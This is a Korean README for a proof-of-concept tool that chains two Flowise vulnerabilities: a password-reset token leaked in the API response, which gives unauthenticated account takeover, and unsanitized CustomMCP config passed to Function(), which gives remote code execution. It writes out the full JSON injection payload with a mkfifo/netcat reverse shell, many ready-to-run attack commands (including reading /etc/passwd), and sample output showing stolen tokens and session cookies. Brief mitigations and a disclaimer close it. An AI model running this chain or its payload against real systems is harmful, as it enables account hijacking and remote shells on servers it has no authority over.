Flowise의 CVE-2025-58434 (계정 탈취) 및 CVE-2025-59528 (RCE)에 대한 모듈형 PoC. 인증되지 않은 토큰 유출부터 리버스 셸 또는 사용자 정의 명령을 통한 원격 코드 실행까지 전체 공격 체인을 자동화합니다.
⚠️ 교육 및 인가된 보안 연구 목적으로만 사용하세요.
귀하가 소유하지 않거나 서면 허가 없이 테스트할 수 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.
이 저장소는 Flowise의 두 가지 치명적 취약점을 하나의 모듈식 PoC 도구로 결합합니다.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| 유형 | 계정 탈취 | 원격 코드 실행 |
| 인증 필요 | 없음 | 예 (유효한 계정 필요) |
| CVSS | 9.8 치명적 | 치명적 |
| 영향 | 클라우드 + 자체 호스팅 | 자체 호스팅 |
두 취약점은 자연스럽게 연결됩니다: CVE-2025-58434는 인증되지 않은 계정 탈취를 제공하며, 이는 CVE-2025-59528의 인증 요구 사항을 충족시켜 단일 자동 실행으로 인증되지 않은 RCE를 달성합니다.
근본 원인: forgot-password 엔드포인트가 비밀번호 재설정 토큰(tempToken)을 이메일로만 보내지 않고 HTTP 응답 본문에 직접 반환합니다.
공격 단계:
POST /api/v1/account/forgot-password 요청tempToken 읽기 — 이메일 접근 불필요POST /api/v1/account/reset-password → 새 비밀번호 설정유출된 응답 (일부):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
근본 원인: CustomMCP 노드가 사용자 제공 mcpServerConfig를 JavaScript의 Function() 생성자에 직접 전달하며 삭제(sanitization)하지 않습니다. Flowise는 Node.js에서 실행되므로 주입된 코드는 child_process, fs 및 모든 Node.js 내장 기능에 완전히 접근할 수 있습니다.
취약한 코드 경로:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← 삭제되지 않은 사용자 입력
필수 헤더:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
기본 주입 페이로드 (리버스 셸):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
참고: 리버스 셸 페이로드는
cp.exec()(비동기 / 발사 후 망각)을 사용하므로 HTTP 요청이 즉시 반환되어 도구가 타임아웃되지 않습니다. 일반 명령어는cp.execSync()를 사용하며 출력을 인라인으로 반환합니다.
공격자 Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← 응답에 토큰 유출
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO 완료
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← 쿠키 추출
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
공격자의 nc 리스너 ←─────────────── 서버가 역연결
✓ 자격 증명 없이 완전한 RCE
| 구성 요소 | 상태 |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | CVE-2025-58434에 영향 |
| Flowise 자체 호스팅 (패치 이전 모든 버전) | 두 CVE 모두에 영향 |
패치된 릴리스 번호는 공식 Flowise 보안 권고를 확인하십시오.
flowise-dual-cve-poc/
├── flowise_poc.py # 메인 PoC — 모든 모듈 + 체인 모드
├── requirements.txt # Python 종속성
├── README.md # 이 파일
└── DISCLAIMER.md # 전체 법적 고지
requests 라이브러리git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
모드 플래그가 필요하지 않습니다. --chain 또는 --module 없이 스크립트를 실행하면 자동으로 전체 체인 모드로 실행됩니다. 기본 RCE 페이로드는 리버스 셸입니다 — --lhost와 --lport만 제공하면 됩니다.
# 최소 호출 — 전체 체인 + 리버스 셸
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
실행 전에 리스너를 시작하세요:
nc -lvnp 4444
python3 flowise_poc.py -h
네 단계를 모두 처음부터 끝까지 실행합니다: 토큰 유출 → 비밀번호 재설정 → 로그인 → RCE.
# 리버스 셸 (기본 페이로드)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# 리버스 셸 대신 사용자 정의 명령어
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# 사용자 정의 ATO 비밀번호 + 리버스 셸
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
tempToken을 유출하고 계정 비밀번호를 재설정합니다. 로그인/RCE 전에 중단됩니다.
# 기본 새 비밀번호
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# 사용자 정의 새 비밀번호
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# 원시 JSON 응답 출력
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
인증하고 수동 사용을 위해 세 개의 세션 쿠키를 추출합니다.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# 스크립팅을 위한 JSON 출력
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
서버에서 실행합니다. --token이 제공되지 않으면 자동 로그인합니다.
# 리버스 셸 — 자동 로그인
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# 사용자 정의 명령어 — 자동 로그인
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# 수동 토큰 — 리버스 셸
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# 세 쿠키 모두 수동
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| 플래그 | 설명 |
|---|---|
--chain | 전체 체인: ATO → 로그인 → RCE |
--module ato | 계정 탈취만 |
--module login | 로그인 및 쿠키 추출만 |
--module rce | RCE만 |
| 플래그 | 약어 | 설명 | 필수 |
|---|---|---|---|
--url | -u | Flowise 인스턴스의 기본 URL | 항상 |
--email | -e | 대상 / 로그인 이메일 | 항상 |
| 플래그 | 약어 | 설명 | 기본값 |
|---|---|---|---|
--new-password | -p | ATO 후 피해자 계정에 설정할 비밀번호 | Flowise@Pwn3d2025! |
| 플래그 | 약어 | 설명 |
|---|---|---|
--login-password | -P | 로그인 모듈 / RCE 자동 로그인용 비밀번호 |
--token | — | token 쿠키 수동 제공 (로그인 생략) |
--refresh-token | — | refreshToken 쿠키 수동 제공 |
--connect-sid | — | connect.sid 쿠키 수동 제공 |
| 플래그 | 약어 | 설명 | 기본값 |
|---|---|---|---|
--lhost | — | 리버스 셸용 공격자 IP | — |
--lport | — | 리버스 셸용 공격자 포트 | — |
--command | -c | 사용자 정의 OS 명령어 (revshell 대체) | lhost/lport가 없으면 id |
| 플래그 | 약어 | 설명 | 기본값 |
|---|---|---|---|
--timeout | -t | HTTP 타임아웃 (초) | 15 |
--json-output | -j | 원시 JSON 응답 출력 | false |
스크립트는 자동으로 올바른 실행 모드를 선택합니다:
| 시나리오 | 사용된 페이로드 | HTTP 동작 |
|---|---|---|
--lhost + --lport (-c 없음) | mkfifo netcat 원라이너 | cp.exec() — 비동기, 즉시 반환 |
-c "..." 에 nc/mkfifo/bash -i 포함 | revshell로 감지 | cp.exec() — 비동기, 즉시 반환 |
-c "id" 또는 기타 일반 명령어 | 사용자 명령어 | cp.execSync() — 블로킹, 출력 반환 |
-c 없음, --lhost 없음 | id | cp.execSync() — 블로킹, 출력 반환 |
비동기 실행은 HTTP 요청이 즉시 완료됨을 의미합니다 — 리버스 셸 페이로드에 타임아웃 오류가 발생하지 않습니다.
[단계 1] [CVE-2025-58434] forgot-password 토큰 요청 중 ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
유출된 계정 데이터
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] 취약함 — 인증 없이 토큰이 노출되었습니다!
[단계 2] [CVE-2025-58434] 비밀번호 재설정 중 → Flowise@Pwn3d2025!
[*] HTTP 201
[+] 비밀번호 재설정 성공 (tempToken cleared)
[+] 계정 탈취 완료 → [email protected] / Flowise@Pwn3d2025!
[단계 3] [Auth] 세션 쿠키 추출을 위해 로그인 중 ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
추출된 세션 쿠키
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[단계 4] [CVE-2025-59528] CustomMCP를 통해 RCE 실행 중 ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE 결과
────────────────────────────────────────────────────────────────────
모드 : 리버스 셸
LHOST : 10.10.16.35
LPORT : 4444
[+] 리버스 셸 페이로드 실행됨!
[!] 10.10.16.35:4444 에서 연결 대기 중 ...
[!] 리스너가 실행 중인지 확인하세요: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] 체인 완료
tempToken은 등록된 이메일로만 전송하세요.forgot-password 엔드포인트에 속도 제한을 적용하세요.Function(), eval() 또는 vm.runInThisContext()에 절대 전달하지 마세요.mcpServerConfig를 데이터로만 구문 분석하세요 (예: JSON.parse()) — 절대 실행하지 마세요.| 날짜 | 이벤트 |
|---|---|
| 2025-08-19 | CVE-2025-58434 발견 및 보고 |
| TBD | CVE-2025-59528 발견 및 보고 |
| TBD | 공급업체 확인 |
| TBD | 패치 릴리스 |
| TBD | 공개 공개 |
교육 목적 및 인가된 침투 테스트용으로만 사용하세요.
전체 법적 고지는 DISCLAIMER.md를 참조하십시오.